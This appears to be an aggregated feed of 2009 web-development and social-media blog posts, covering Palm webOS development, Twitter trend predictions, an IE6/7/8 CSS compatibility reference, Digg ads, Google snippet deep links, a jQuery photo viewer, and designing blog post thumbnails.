Ben and Dion open by discussing a panel Ben was on some years ago with Dave Thomas. Ben answered rich UIs, but Dave held up his mobile and said this is the future of software. And (according to Ben) Dave has been vindicated. Today, we have many, many, devices, and it’s tricky for us to target them as both developers (technically) and businesses (commercially).

But what’s interesting is the web browsers that have snuck into many of these platforms. The Ajax revolution changed the game for the first time, where you could build eral-world web apps. (screenshots: GMail, GMaps, GOffice, Bespin, 280slides.) It’s only happening just now, and pretty soon, the web will be a great place not just from portability of the code, but portability of the distribution mechanism.

Tools like Fluid, Mozilla Prism, give us a specialised browser for a web app. On the other end of the spectrum, we have tools like Adobe Air and Appcelerator Titanium that let developers build full-fledged desktop applications.

But why the web? How about other technologies like Silverlight and Flash? Well, the browser really hasn’t changed that much (Netscape screenshot). But underneath, the engine has changed dramatically. We’re going from the hacky world of the first browsers to one where developers will benefit greatly from the Javascript engines, renderers, and APIs available to us.

For example, with canvas, the ability to do dynamic graphics (nice demos). Likewise, SVGs. Custom typography; Firefox is rolling out support for even obscure features of fonts. Later in the presentation, Ben demonstrates further capabilities: OpenGL and 3D CSS transformations (more nice demos); what Ben calls “the final frontier” of visual interfaces.

Faster Javascript engines are more than just incrased performance. As Steven Levy points out, when you increase something’s performance by an order of magnitude, you haven’t just increased the performance; you’ve created something new. So we have generational garbage collection, for example, which is a sign of the virtual machines maturing and becoming much faster.

Related to Javascript speed is threading. We don’t have threads and given opinions of the creator of Javascrpt, probably never will. But “browsers now have something that’s even better than threads”: web workers. It’s used in different ways; for example, Chrome exgensions can run in their own process this way. Another example is running a database server like sqllite in a separate process.

So does the web have the capabilities for today’s and tomorrow’s applicatons? There’s a huge user base and a huge developer based – more developers than any other platform. Some people still think of Javascript as a toy, but when they get into it, they often realise it’s actually quite good, and it’s not Javascript they don’t like, but things like browser incompatibilities that are troublesome.

Development Details

Web developers can use the Mojo framework, which provides simple Prototype based APIs. Notifications are HTML controls themselves, so you can put whatever HTML you want inside it. Security-wise, applications can get different powers

Palm wants to sell phones, not proprietary APIs, so it’s involved with BONDI and W3C widgets standardisation efforts. One of the things they need to know from us (the developer community) “Palm pays us, but they didn’t pay us enough to sell out”; Ben and Dion are developers and they’re not going to tell other developers use “our funny proprietary API, you’ll love it”. However, they can’t say when all this will happen, as they’re evolving the platform pragmatically and they feel other things might have more immediate impact, e.g. OpenGL support.

The web distribution model is simple – user surfs to a URL! But many people actually want a catalogue, and in fact some app catalogues are becoming spam catalogues. Some even boast about how many apps there are in the catalogue, Ben notes with a wink at the big I. With Palm, developers pay $50 and it helps to avoid the problem. There will be one catalogue, but developers can control which markets they’re selling in, and get useful analytics and feeds about its usage. Wanting to reduce the friction for people to buy an app, so would consider (although nothing definite) carrier billing and affiliate links.

Q&A

The developer portal is currently being overhauled. Under consideration are ways to make things more transparent, e.g. bug tracking and planned features.

Ben and Dion anticipate that developers will probably be able to opt in to Javascript obfuscation (or some other form of obfuscation). As Dion explains, View Source has been really important on the web, so there’s a tension and it’s likely multiple options will be available.

On ease of use, multitasking has been great; UI latency is still an issue even though the hardware is comparable to 3GS. The problem is the path to the GPU didn’t exist, but now with CSS transforms, that will be solved in the immediate future. As far as screen size, where Pixi broke the mould 4 months after the Pre, this happy world of coding to the same screen size on mobiles is going. Ben says it would have been easier for Palm if it wasn’t the first phone to break the mould, but reality is the mobile space will break out to big screens, phones, etc etc, so it won’t be one fixed resolution or even aspect ratio.

There will be lots of new tools for developing with and they’ll be able to work with WebKit. Ben and Dion (not Palm, they’re sure to add) are open to the thought of embracing Flash for native apps and keen to hear people’s thoughts on it.

The open source question … will Palm open source WebOS. Ben says “we (Ben and Dion) would love to do it”, but it’s not Android working to thousands of phones and it still has to be considered.

Announcement from O2 Litmus guys.

Developer mail to devrel@palm.com.

Event hashtag: #o2palm

Go to Source

We’ve been taking an active analytical look at emerging Twitter related trends on a monthly basis. This month instead of analyzing the state of the Twittersphere on our own, we thought we’d give some of the web’s most experimental, influential, and knowledgeable thought leaders an opportunity to share their perspectives on Twitter trends.

Given that BlogWorld Expo is currently underway in Las Vegas, with the best of the best wandering the halls, we decided to stop a few of the greats — Steve Rubel, Chris Pirillo, Leo Laporte, Brian Solis, and Guy Kawasaki — to get their candid take on the what’s trending in the Twittersphere.

1. Pirillo: Big Bloggers Tweeting More, Blogging Less

Lifecaster, blogger, and über web geek, Chris Pirillo [@chrispirillo] says that more and more bloggers are tweeting instead of blogging. Pirillo believes that Twitter offers pithy bloggers the opportunity to save the “time and energy poured into long-from blog posts, and instead find a way to say the same thing in 140 characters.”

One of his favorite lines to repeat is, “Twitter is a great place to tell the world what you’re thinking before you’ve had a chance to think about it.”

While this certainly isn’t a new idea, Pirillo has a legitimate point about it being a growing trend. In our chat, Pirillo used BlogWorld Expo as a prime example of his point. He spoke to the fact that the most prolific bloggers are in attendance and yet we’re seeing media, news, and updates about the show trickle out via Twitter instead of longer form blogs.

Unlike some bloggers opposed to the notion that Twitter may be usurping the blogosphere, Pirillo believes the trend to be what it is, and that Twitter actually “augments blogging. It’s a different medium, so while blog posts index well on Google, tweets may not…Twitter is for flash in the pan information.”

Looking at the bigger picture, the trend is an important one to watch now that prolific bloggers with large audiences have been able to port those same audiences, attract new followers, and expand their reach on Twitter. Given the financial opportunities made available through Twitter ad platforms like IZEA’s Sponsored Tweets, bloggers, like Pirillo, can still profit in shorter form. This means we could see a shift in preferred mediums, with brevity potentially being more rewarding.

2. Kawasaki: The Evolution of Twitter as a Platform

Though you may not agree with his hyper-tweeting ways or multi-managed account methodology, one thing is certain: Guy Kawasaki [@guykawasaki] is hard to miss on Twitter.

The Alltop co-founder and original Apple evangelist has been known to push a few buttons using the micro medium, but he continues to be one of the most retweeted users on Twitter, and has been vocal about using tweets to drive traffic. Which is why it comes as no surprise that he tells us that Twitter is moving away from just the personal, “we chatter,” and becoming heavily used by brands.

Kawasaki says, “When the internet was young it was primarily personal websites, but it since became commercial, but not in a bad way. It became a platform. Twitter is emulating the internet, and isn’t just turning into a marketing platform, but simply becoming a platform used for multiple things.”

What was once just a place for conversation amongst friends has evolved into a vehicle where brands can set up shop and drive real business. He even believes Twitter has matured beyond the original expectations and use cases that its founders envisioned. Kawasaki cites the Kogi Korean BBQ truck as an example of a business using Twitter as a platform in a way that Twitter most certainly didn’t plan for.

3. Solis: Semantic Intelligence

Brian Solis [@briansolis], PR 2.0 guru and consummate networker, has been focused of late on analyzing tweets and Twitter-specific behaviors, he even recently led a study on Twitter airline analysis. Given that his eye is so predominantly focused on Twitter data, we tend to agree with his analysis that Twitter is heading in the direction of more filtered and intelligent conversations.

Solis notes that as users follow more and more Twitterers, their ability to stay connected to individual users and their respective tweets diminishes greatly. Though the noise is commonly accepted by many a Twitterer as normal, Solis believes that the next big Twitter trend will be a more intelligent Twitter experience. He says, “the future of Twitter is semantic intelligence, where what you click, what you read, and what you do, act to determine what you like, with applications serving you the tweets you really want.”

Solis points to the iPhone app, my6sense, as a perfect example of semantic intelligence applied to social media streams. The app functions as an RSS reader, but you can share stories with Twitter, FriendFeed, and Facebook. The stories you read and share are then used to recommend articles, and the more you use it the better it works.

Solis believes that soon we will see more specialized services developed to work in a similar fashion in relation to tweets and Twitter updates, and he’s hoping that Twitter will build it into the API.

4. Rubel: Twitter Curation

Edelman Digital’s Senior Vice President, Steve Rubel [@steverubel] is on the same wavelength as Solis, and also believes that “Twitter is too linear, so separating the junk from the art” is a challenge that is only getting tougher. His perspective, however, is that we’re going to start to see more Twitter curators work to package tweets in more digestible streams.

The notion of organizing collections of tweets and Twitterers isn’t new, but Rubel speaks of curation as if there’s a human touch finding the works of art from within the rubbish so that you don’t have to. As an example, Rubel offers up Muck Rack, from Sawhorse Media, which actively organizes and collects tweets from journalists.

Rubel believes that this is just the beginning as demand for finding tweets of interest will continue grow, which means “we’re likely to see media companies built on top of twitter, curating tweets… so while the job market for journalists is bleak, the career opportunities for editors and curators is evergreen.”

5. Laporte: User Generated Twitter Lists

Leo Laporte [@leolaporte] is the founder of the TWiT Netcast Network, as well as the host and producer of the Tech Guy radio show. As a renowned voice in the technology space, Laporte’s excitement, shared by the likes of other influential techies like Robert Scoble, around the newly released Twitter Lists is palpable.

Laporte believes Twitter Lists to be “huge” and important for vastly improving the overall Twitter experience for new and seasoned users alike. Laporte states, “One of the issues with Twitter is that it’s been so simple, so Twitter Lists is a big breakthrough. They finally realized that they have been leaving all of this extra stuff on the table.”

When it comes to the new Twitter Lists, Laporte emphatically rejoices, “user-generated lists, long live the king.”

And we tend to agree. We’ve covered the new Twitter Lists prior to and post launch, and find there to be immense potential and power for all Twitterers. The easily-accessed follower lists highlight how many lists each Twitterer is on in a very a public way, which ultimately provides a new metric for measuring Twitter influence and relevance. We also think that Twitter Lists will help the company tackle their ongoing user retention problem.

Do you agree with our experts’ picks? Let us know in the comments.

Tags: twitter trends

Go to Source

  

One of the most bizarre statistical facts in relation to browser use has to be the virtual widespread numbers that currently exist in the use of Internet Explorer versions 6, 7 and 8. As of this writing, Internet Explorer holds about a 65% market share combined across all their currently used browsers. In the web development community, this number is much lower, showing about a 40% share.

The interesting part of those statistics is that the numbers across IE6, IE7, and IE8 are very close, preventing a single Microsoft browser from dominating browser stats — contrary to what has been the trend in the past. Due to these unfortunate statistics, it is imperative that developers do thorough testing in all currently-used Internet Explorer browsers when working on websites for clients, and on personal projects that target a broader audience.

Thanks to the many available JavaScript libraries, JavaScript testing across different browsers has become as close to perfect as the current situation will allow. But this is not true in CSS development, particularly in relation to the three currently used versions of Internet Explorer.

This article will attempt to provide an exhaustive, easy-to-use reference for developers desiring to know the differences in CSS support for IE6, IE7 and IE8. This reference contains brief descriptions and compatibility for:

• Any item that is supported by one of the three browser versions, but not the other two
• Any item that is supported by two of the three browser versions, but not the other one

This article does not discuss:

• Any item that is not supported by any of the three browser versions
• Proprietary or vendor-specific CSS

Therefore, the focus is on differences in the three, not necessarily lack of support. The list is divided into five sections:

• Selectors & Inheritance
• Pseudo-Classes and Pseudo-Elements
• Property Support
• Other Miscellaneous Techniques
• Significant Bugs and Incompatibilities

Selectors & Inheritance

Child Selectors

Example

body>p {
	color: #fff;
}

Description

The child selector selects all elements that are immediate children of a specified parent element. In the example above, body is the parent, and p is the child.

Support

Bugs

In IE7, the child selector will not work if there is an HTML comment between the parent item and the child.

Chained Classes

Example

.class1.class2.class3 {
	background: #fff;
}

Description

Chained classes are used when the same HTML element has multiple classes declared, like this:

<div class="class1 class2 class3">
<p>Content here.</p>
</div>

Support

Bugs

IE6 appears to support this property, because it matches the last class in the chain to an element having that class, however, it does not restrict the class to an element that has all the classes in the chain, like it should.

Attribute Selectors

Example

a[href] {
	color: #0f0;
}

Description

This selector allows an element to be targeted only if it has the specified attribute. In the example above, all anchor tags that have href attributes would qualify, but not anchor tags that did not have href attributes.

Support

Adjacent Sibling Selectors

Example

h1+p {
	color: #f00;
}

Description

This selector targets siblings that are adjacent to the specified element. The example above would target all paragraph tags that are siblings of, and come directly after, primary heading tags. For example:

<h1>heading</h1>
<p>Content here.</p>
<p>Content here.</p>

In the code above, the CSS styles specified would target only the first paragraph, because it is a sibling to the <h1> tag and is adjacent. The second paragraph is a sibling, but is not adjacent.

Support

Bugs

In IE7, the adjacent sibling selector will not work if there is an HTML comment between the siblings.

General Sibling Selectors

Example

h1~p {
	color: #f00;
}

Description

This selector targets all siblings that appear after a specified element. Applying this selector to the HTML example given in the previous section will select both paragraph tags, however, if one of the paragraphs appeared before the heading, that paragraph would not be targeted.

Support

Pseudo-Classes and Pseudo-Elements

Descendant Selector After :hover Pseudo-Class

Example

a:hover span {
	color: #0f0;
}

Description

An element can be targeted with a selector after a :hover pseudo class, similar to how any descendant selector works. The above example would change the font color inside all <span> elements inside of anchor elements while the anchor is hovered over.

Support

Chained Pseudo-Classes

Example

a:first-child:hover {
	color: #0f0;
}

Description

Pseudo-classes can be chained to narrow element selection. The above example would target every anchor tag that is the first child of its parent and apply a hover class to it.

Support

:hover on Non-Anchor Elements

Example

div:hover {
	color: #f00;
}

Description

The :hover pseudo-class can apply a hover, or rollover state, to any element, not just anchor tags.

Support

:first-child Pseudo-Class

Example

div li:first-child {
	background: blue;
}

Description

This pseudo-class targets each specified element that is the first child of its parent.

Support

Bugs

In IE7, the first-child pseudo-class will not work if an HTML comment appears before the targeted first child element.

:focus Pseudo-Class

Example

a:focus {
	border: solid 1px red;
}

Description

This pseudo-class targets any element that has keyboard focus.

Support

:before and :after Pseudo-Elements

Example

#box:before {
	content: "This text is before the box";
}

#box:after {
	content: "This text is after the box";
}

Description

This pseudo-element places generated content before or after the specified element, used in conjunction with the content property.

Support

Property Support

Virtual Dimensions Determined by Position

Example

#box {
	position: absolute;
	top: 0;
	right: 100px;
	left: 0;
	bottom: 200px;
	background: blue;
}

Description

Specifying top, right, bottom, and left values for an absolutely positioned element will give the element “virtual” dimensions (width and height), even if width and height are not specified.

Support

Min-Height & Min-Width

Example

#box {
	min-height: 500px;
	min-width: 300px;
}

Description

These properties specify minimum values for either height or width, allowing a box to be larger, but not smaller, than the specified minimum values. They can be used together or individually.

Support

Max-Height & Max-Width

Example

#box {
	max-height: 500px;
	max-width: 300px;
}

Description

These properties specify maximum values for either height or width, allowing a box to be smaller, but not larger, than the specified minimum values. They can be used together or individually.

Support

Transparent Border Color

Example

#box {
	border: solid 1px transparent;
}

Description

A transparent border color allows a border to occupy the same space as would be occupied if the border was visible, or opaque.

Support

Fixed-Position Elements

Example

#box {
	position: fixed;
}

Description

This value for the position property allows an element to be positioned absolutely relative to the viewport.

Support

Fixed-Position Background Relative to Viewport

Example

#box {
	background-image: url(images/bg.jpg);
	background-position: 0 0;
	background-attachment: fixed;
}

Description

A fixed value for the background-attachment property allows a background image to be positioned absolutely relative to the viewport.

Support

Bugs

IE6 incorrectly fixes the background image in relation to the containing parent of the element that has the background set, therefore this value only works in IE6 when its used on the root element.

Property Value “inherit”

Example

#box {
	display: inherit;
}

Description

Applying the value inherit to a property allows an element to inherit the computed value for that property from its containing element.

Support

Bugs

IE6 and IE7 do not support the value inherit except when applied to the direction and visibility properties.

Border Spacing on Table Cells

Example

table td {
	border-spacing: 3px;
}

Description

This property sets the spacing between the borders of adjacent table cells.

Support

Rendering of Empty Cells in Tables

Example

table {
	empty-cells: show;
}

Description

This property, which only applies to elements that have their display property set to table-cell, allows empty cells to be rendered with their borders and backgrounds, or else hidden.

Support

Vertical Position of a Table Caption

Example

table {
	caption-side: bottom;
}

Description

This property allows a table caption to appear at the bottom of a table, instead at the top, which is the default.

Support

Clipping Regions

Example

#box {
	rect(20px, 300px, 200px, 100px)
}

Description

This property specifies an area of a box that is visible, making the rest “clipped”, or invisible.

Support

Bugs

Interestingly, this property works in IE7 if the deprecated comma-less syntax is used (i.e. whitespace between the clipping values instead of commas).

Orphaned and Widowed Text in Printed Pages

Example

p {
	orphans: 4;
}

p {
	widows: 4;
}

Description

The orphans property specifies the minimum number of lines to display at the bottom of a printed page. The widows property specifies the minimum number of lines to display at the top of a printed page.

Support

Page Breaks Inside Boxes

Example

#box {
	page-break-inside: avoid;
}

Description

This property specifies whether a page break should occur inside of a specified element or not.

Support

Outline Properties

Example

#box {
	outline: solid 1px red;
}

Description

outline is the shorthand property that encompasses outline-style, outline-width, and outline-color. This property is preferable to the border property since it does not affect document flow, thus better aiding debugging of layout issues.

Support

Alternative Values for the Display Property

Example

#box {
	display: inline-block;
}

Description

The display property is usually set to block, inline, or none. Alternative values include:

• inline-block
• inline-table
• list-item
• run-in
• table
• table-caption
• table-cell
• table-column
• table-column-group
• table-footer-group
• table-header-group
• table-row
• table-row-group

Support

Handling of Collapsible Whitespace

Example

p {
	white-space: pre-line;
}

div {
	white-space: pre-wrap;
}

Description

The pre-line value for the white-space property specifies that multiple whitespace elements collapse into a single space, while allowing explicitly set line breaks. The pre-wrap value for the white-space property specifies that multiple whitespace elements do not collapse into a single space, while allowing explicitly set line breaks.

Support

Other Miscellaneous Techniques

Media Types for @import

Example

@import url("styles.css") screen;

Description

A media type for an imported style sheet is declared after the location of the style sheet, as in the example above. In this example, the media type is "screen".

Support

Bugs

Although IE6 and IE7 support @import, they fail when a media type is specified, causing the entire @import rule to be ignored.

Incrementing of Counter Values

Example

h2 {
	counter-increment: headers;
}

h2:before {
	content: counter(headers) ". ";
}

Description

This CSS technique allows auto-incrementing numbers to appear before specified elements, and is used in conjunction with the before pseudo-element.

Support

Quote Characters for Generated Content

Example

q {
	quotes: "'" "'";
}

q:before {
	content: open-quote;
}

q:after {
	content: close-quote;
}

Description

Specifies the quote characters to use for generated content applied to the q (quotation) tag.

Support

Significant Bugs and Incompatibilities

Following is a brief description of various bugs that occur in IE6 and IE7 that are not described or alluded to above. This list does not include items that lack support in all three browsers.

IE6 Bugs

• Doesn't support styling of the <abbr> element
• Doesn't support classes and IDs that begin with a hyphen or underscore
• <select> elements always appear at the top of the stack, unaffected by z-index values
• :hover pseudo-class values are ignored if anchor pseudo-classes are not in the correct order (:link, :visited, :hover)
• An !important declaration on a property is overridden by a 2nd declaration of the same property in the same rule set that doesn't use !important
• height behaves like min-height
• width behaves like min-width
• Left and right margins are doubled on floated elements that touch their parents' side edges
• Dotted borders appear identical to dashed borders
• line-through value for text-decoration property appears higher on the text than on other browsers
• List items for an ordered list that have a layout will not increment their numbers, leaving all list items preceded by the number "1"
• List items don't support all possible values for list-style-type
• List items with a specified list-style-image will not display the image if they are floated
• Offers only partial support for @font-face
• Some selectors will wrongly match comments and the doctype declaration
• If an ID selector combined with a class selector is unmatched, the same ID selector combined with different class selectors will also be treated as unmatched

IE7 Bugs

• List items for an ordered list that have a layout will not increment their numbers, leaving all list items preceded by the number "1"
• List items don't support all possible values for list-style-type
• List items with a specified list-style-image will not display the image if they are floated
• Offers only partial support for @font-face
• Some selectors will wrongly match comments and the doctype declaration

Some IE bugs not mentioned here occur only under particular circumstances, and are not specific to one particular CSS property or value. See the references below for some of those additional issues.

Further Resources

• Details of Changes in Internet Explorer 8
• CSS Compatibility for Internet Explorer (MSDN)
• CSS Improvements in Internet Explorer 8 (MSDN)
• Internet Explorer Exposed - CSS Bugs @ Position Is Everything
• SitePoint CSS Reference
• CSS Contents and Browser Compatibility
• 10 Useful CSS Properties Not Supported By Internet Explorer

About the Author

Louis Lazaris is a writer and freelance Web Developer based in Toronto, Canada. He has 9 years of experience in the web development industry and posts web design articles and tutorials on his blog, Impressive Webs. You can follow Louis on Twitter or contact him using this form.

© Louis Lazaris for Smashing Magazine, 2009. |
Permalink |
36 comments |
Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine

Post tags: CSS, internet explorer

Go to Source

Recently, we highlighted social news site Digg’s accelerating growth, a result of a number of new traffic enhancing features. The company has also been working to improve its monetization, after bringing in somewhere south of $10 million in 2008.

Part of that process has been trying to include users in ads – for example, the ability to digg (or bury) sponsored stories. Now, the company is launching another format that doesn’t break far from the traditions of the site: Digg Content ads.

The format matches stories that have already proved popular on the site (i.e. – made the homepage) with a relevant advertiser. Digg’s example: “Adobe is testing the model with banners that pull in popular government-technology stories from the Digg archive.”

It’s hard to find too much fault with that concept – it’s about as non-invasive as advertising as you can get and incorporates content that Digg users have already demonstrated they like. Digg says the format is currently in limited release though, so most users probably won’t see the ads yet.

Tags: digg

Go to Source

Google gives the example of the result for the Wikipedia entry for "Trans Fat." The snippet provides links to History, Chemistry, Presence in food, and Nutritional guidelines. These are all sections of one page that the user can go straight to from the results page.

Obviously, if you want to increase the amount of calls to action for your webpages from Google results, you will want to do what you can to cater to this new feature. Luckily, this isn’t a completely mysterious part of the algorithm (though the links are generated algorithmically) that Google is leaving you to figure out for yourself. A post on Google’s Webmaster Central blog essentially tells you what you have to do to get these links in snippets.

"We generate these deep links completely algorithmically, based on page structure, so they could be displayed for any site (and of course money isn’t involved in any way, so you can’t pay to get these links)," says Raj Krishnan of Google’s Snippets team. "There are a few things you can do to increase the chances that they might appear on your pages."

To increase said chances, you should make sure any multi-topic pages are "well-structured" and broken into distinct sections. You should also make sure each section has an associated anchor with a descriptive name. Pages like this should have a table of contents which link to the individual anchors.

One thing to keep in mind is that these new links won’t appear for results in every search. Google says whether they show up or not depends on the specific query used to get to it. Ok, there is a bit of mystery there after all.

Go to Source

Go to Source

Pretty fast after I placed the Polaroid Photo Viewer with CSS3 and jQuery example online, I received loads of e-mails and comments requesting another feature. The original example was only full-screen, but people wanted it to "stick" to a box (Placing it inside a <div>).

By making a couple of changes to the original code, I managed to make this work too. So today, I present you the non-full screen version of the popular Polaroid Photo Viewer with CSS3 and jQuery.

Try dragging the polaroids around in the demo. You’ll be able to do so, but the surrounding division seems to prevent the user from actually dragging it outside it’s container.

  

Just like with the original example, this example only works on modern browsers supporting CSS3 (Safari, Chrome and Firefox 3.5). This probably would work with Opera too, but I haven’t tested it.

Now to show you which small changes are made to the original script to make this one work.

Read more…

Go to Source

Your blog post thumbnail will play a big part in how your users see your website, and how they navigate it. A well designed post thumbnail can really engage your visitors and help encourage them to explore your website.

Examples of Post Thumbnails

A very Unique Solution on Tutorial9

Introducing, a true master at making an interesting post thumbnails, Mr David Leggett. In this case a very bold & unique use of the content (icons) to create a memorable thumbnail.

Clean and crisp thumbnail on AppStorm

A very clean lighting effect in the background with a modern font & great colors to catch attention. Notice the 1pixel white drop shadow on the word “interview” – a simple & effective approach.

Keeping your Photographs Relevant (UX Booth)

Another fantastic example from David Leggett. This time he’s not relied on his skill in Photoshop, he’s simply relied on that old favorite the photograph. A good looking, and relevant photo perfects your content perfectly.

Clever use of Screenshots on Obox

This example by Obox shows how placement of the elements on the thumbnail can generate interest. You get a sneak peak at the content with some cleverly placed screenshots with a good background lighting effect and the all important text which looks fantastic and the contrast is perfect.

Picking the Perfect Image, Courtesy of DesignShard

Again, Keeping your image relevant is a must. And in this example another photo, but it has 3 things: simplicity, visual impact and relevance.

OutlawDesign Makes the Thumbnails Part of the Design

Two great examples on Outlaw Design Blog. We see a stunning Photograph on one, and on the other one of the logo’s from inside the post has been chosen for the thumbnail, a great visual impact.

You can also start to see how the blog design benefits from showcasing multiple good looking thumbnails. The post thumbnails really become part of the design in this case.

UxBooth again with Text Over Photographs

Using fantastic looking text on top of some really appealing images can be a real hit. This is a great example of strong typographic elements on top of a crisp & relevant photograph.

WebDesignLedger Improve Exploration

Apart from looking great, a relevant & good looking thumbnail can help visitors navigate through your posts. This is particularly important if you have a lot of posts on your blog or site.

WebDesignerDepot Keep it Simple & Effective

If you are lucky enough to be writing about something that includes a lot of great looking content, show off this content. It’s not just a quick solution but a very effective one, and again it would help people who are scanning your content understand what the post includes.

Fubiz Lets the Image do the Talking

Layout can play a big part in the effectiveness of your thumbnails. This example uses quite a large image with a simple line of text. For me these are very useful, especially when the image is very pretty!

Fubiz does more with their Thumbnails

Having such interesting post thumbnails gives you the chance to experiment with alternative ways of navigating content, like this fantastic gallery view on Fubiz.

Build Internet combine Photography & Text

Text on the top of a photo once again, just another example of how this can work so very well. Remember our quality tips too when putting together any graphics.

Good Thumbnail Positioning on PSDTuts

The layout of your thumbnails is important. This style (which I first saw used across the Envato sites) seems to be very popular with bloggers.

WebDesignerWall Uses CSS to Style Thumbnails

A Simple use of a gradient & some nice typography. What I like about Web Designer Wall is that each of their thumbnails has the white edge with a gray border, it gives your images a bit of consistency and having a default style on images can make them fit in with your site a lot better.

Imeem have also styled their Thumbnail Border

Every thumbnail on the imeem website looks like it’s almost a photo sitting on top of the page. There actual photo does not have this effect on it, the frame around the image has been made & just sits behind, this makes your thumbnail look as if it’s it’s part of the frame, but really it’s all separate.

It’s a easy way of styling multiple images and leaves you open to change the style of the border, when you update your web design.

Methods of Making Creative Thumbnails

Summing up your post into one image, and making it look attractive is a big part of catching the interest of readers who are exploring your homepage. It has also become more common to see thumbnails next to blog title on a homepage, rather than just text. Layout of the image is important too, finding the perfect place to put your image is an art in itself. Sometimes a full image is used, sometimes a small thumbnail, anything from a photo to a sketch or full vector illustration, the ability to create so many different things should be your biggest advantage!

You have a fresh canvas with each blog post, you don’t need to keep constancy with your thumbnails & post images, each one can be a new work of art, a chance to express yourself and a chance to back up what you are writing with your creativity.

There are a variety of ways capturing & creating the perfect thumbnail for your post, but it’s important that the image compliments the post, keeps relevant and isn’t too complicated – we’re going to explain a select few examples in further detail now.

Unique & Custom Graphics

Without doubt this would be the most time consuming way of creating good looking thumbnail/introduction images for your post, but as you will see it’s clearly worth the time when you get it right. This process would involve looking at the post as a product, and the post thumbnail as an advert for that product, you need to find creative ways to best showcase that product, using a mix of various design methods.

A closer Look at Tutoria9’s Unique & Bold Style

David Leggett, the fantastic designer behind Tutorial9 has included some important techniques to style his thumbnail, a nicely executed drop shadow, a background lighting effect that helps to build depth, and also some blur is applied on some elements to also build depth and give the image something different visually. David has also kept some basic ideas in mind, such as contrast (light on dark) and he’s included a tag-line.

I think this example is a great use of space, and the fact David has made his image posts such a big feature on his site gives him room to experiment & create something outstanding each time. Have a think about what you can take from this and apply to your next blog thumbnail, remember to keep Quality in mind.

Relevant & Interesting Photography

Photographs have always been a very pure and captivating way of getting a point across or sharing an emotion. They can keep those same attributes when being used in you thumbnails. Remember to spend some time, either taking images yourself, browsing stock photo websites or searching flickr for captivating images that the author has released under the creative commons agreement. *Use Advanced search for Creative Commons settings

Example of Relevant Photographic Thumbnail

This Article on Simplemom is a fantastic example of getting your images absolutely right. The image wasn’t taken by the author of the article, but it couldn’t get any more relevant to the topic. This just goes to show how taking the time to find a perfect image is well worth it, and a clever photograph really helps to compliment your content & invite readers to your post.

Other than symbolizing the content of the article very well it’s also a pretty image visually, I like the feeling of depth and the contrast with the colors and the whole composition just ticks all the right boxes. Remember if your original photo doesn’t have all of these things, some simple touch up’s in Photoshop wouldn’t go a miss.

Creativity with Screenshots

Many posts online these days (this one included) have a lot of images throughout. If you’re writing about something that exists on a website or blog you might have some screenshots to support your content. If you do a small amount of work in Photoshop you can make these screenshots worth of a thumbnail.

Fine Example of Using Screenhots as your Thumbnail

In this example by Andrew, he’s used a screenshot as the backrgound to the image. Rather than a standard screenshot he has cleverly built up a sense of 3D and depth – first by creating a lighting effect, and then placing the screenshot at an angle, to give the feel that it’s not just a flat image. He’s brilliantly continued this theme by placing a really nice graphic on top of a post-it note.

I really like how Andrew has built something up from nothing, and with a little bit of effort he’s created something truly interesting that works.

Multiple Uses for your Thumbnails

Using thumbnails gives you the advantage of using them in a variety of ways, and in a variety of places throughout your website. Having the choice to do what you want with them means you can be as creative, or as straight forward as possible. Let’s look at a few solutions.

Featured Posts Slider

GOOD is a fantastic website design all in all. But the featured posts with thumbnails are a particularly beautiful element of their website. The thumbnails are very good looking, but the layout and the use of a scrolling showcase transform them from just being beautiful, to being incredibly useful.

Gallery of Posts

The Autoblog website has a lot of new articles each day, so drawing attention to posts can be hard and things quickly move off the front page, so having a gallery style feature area allows for you to keep interest on a article long after it has been publishes. It also improves interactivity, and although I’m not completely in love with the design, it works very well and could look very nice.

Another good example of this would be Fubiz (as featured earlier in the post).

Make Lists easier to Scan

For sites that have a lot of content listing other articles, be it popular, featured or recommended etc, is quite an important part of internal traffic and exploration by users. Sometimes these lists can look a little un-inviting, especially if long. Adding thumbnails to your lists could be a great solution.

Draw Attention to Related Posts

Thumbnails with related posts not only look great, but provide something stimulating and fresh to look at, and gives the user something to do once they have finished reading your post. Without doubt it’s a smart way of drawing and keeping attention on your articles

Think about the Positioning on your Blog

Aside from using in galleries, sidebars and below your content for related posts, you need to get the positioning of your blog post right from the very beginning. Think about in which pages your thumbnail is going to be used, and how in you can best display the image to benefit both the content and the user.

Example Layout Mock-Ups for you

From the examples on this article I’ve created some quick mock-ups of popular layout and positioning of thumbnails which could spark some ideas for your own blog. These are just quick examples but illustrate only a handful of successful ways you could integrate thumbnails into the layout of your blog posts.

Full (Fixed) Width

Using the full column width gives you a lot of space to use, and there is a good balance between content and the image. The down side is that it doesn’t look great on fluid width sites.

Next To Title

Your images tend to be smaller in these places, but the positioning is great & it makes scanning through the posts very easy.

Next to Title Right

Another fantastic solution, I think this one looks great and keeps your title in line with your text.

Thumbnail within Content

To keep focus on the title you could move the thumbnail to a more obvious place. In this position the image is part of the content, and the text can wrap around it or go along side it. A good solution but for me not always the best looking.

Thumbnail within Content (Right Side)

Same advantages and disadvantages as mentioned above. Although this one doesn’t break up the layout on the text as much and for me sometimes is a better solution then the one above.

Full Image with Small Paragraph

If the content is visual based & you have a lot of good photos or images you could use a full image could be a huge hit. Trying to describe how cool something looks is nowhere near as good sa just show how good it looks, and that’s a big plus for this layout option.

Final Thoughts & Tips

The point of this post was not to just simply show you some good looking screenshots, we intended to make you think about why you should be using thumbnails on your blog, and show you how a little time & effort with your post thumbnail.

This is not something for designers specifically, it’s more for content writers and webmasters to start thinking about how and why then can help their users by either putting some time in yourself, or hiring somebody who can create such images for you.

• Keep it Relevant
Relevant images will compliment your content and help users to navigate your site if you integrate them well.

• Don’t be afraid to Pay for Quality
Whether it’s paying for good quality images, or hiring a designer to spend a little time working on a creative thumbnail for a post.

• Make sure you give Credit
If you use an image from flickr for example, it’s always nice to give a link back to the original source and author.

• Think about your Layout
If you’re going to add thumbnails to your posts have a good think about where you are going to place them.

• Think of creative ways to use them
Once your blog posts each have a cool thumbnail start thinking of interesting ways you can get your users to interact with your content  – use your thumbnails to your advantage.

Resources

iStockphoto.com | Loads of quality Images
GraphicRiver | Various Icons, Illustrations & Stock Imagery
Dreamstime | Big collection of premium Images
Sxc.hu | Free images, beware that these images are often over-used
StockVault | Quality free images
Flickr | A link to Flickr Creative Commons search
Photoshop Action for Screenshots | Tutorial that could be used for Thumbnails
Using Images to Take Your Posts to a New Level | Fantastic Video & Post
How To Find Free Photos for your Blog | Great tips and resources

Go to Source

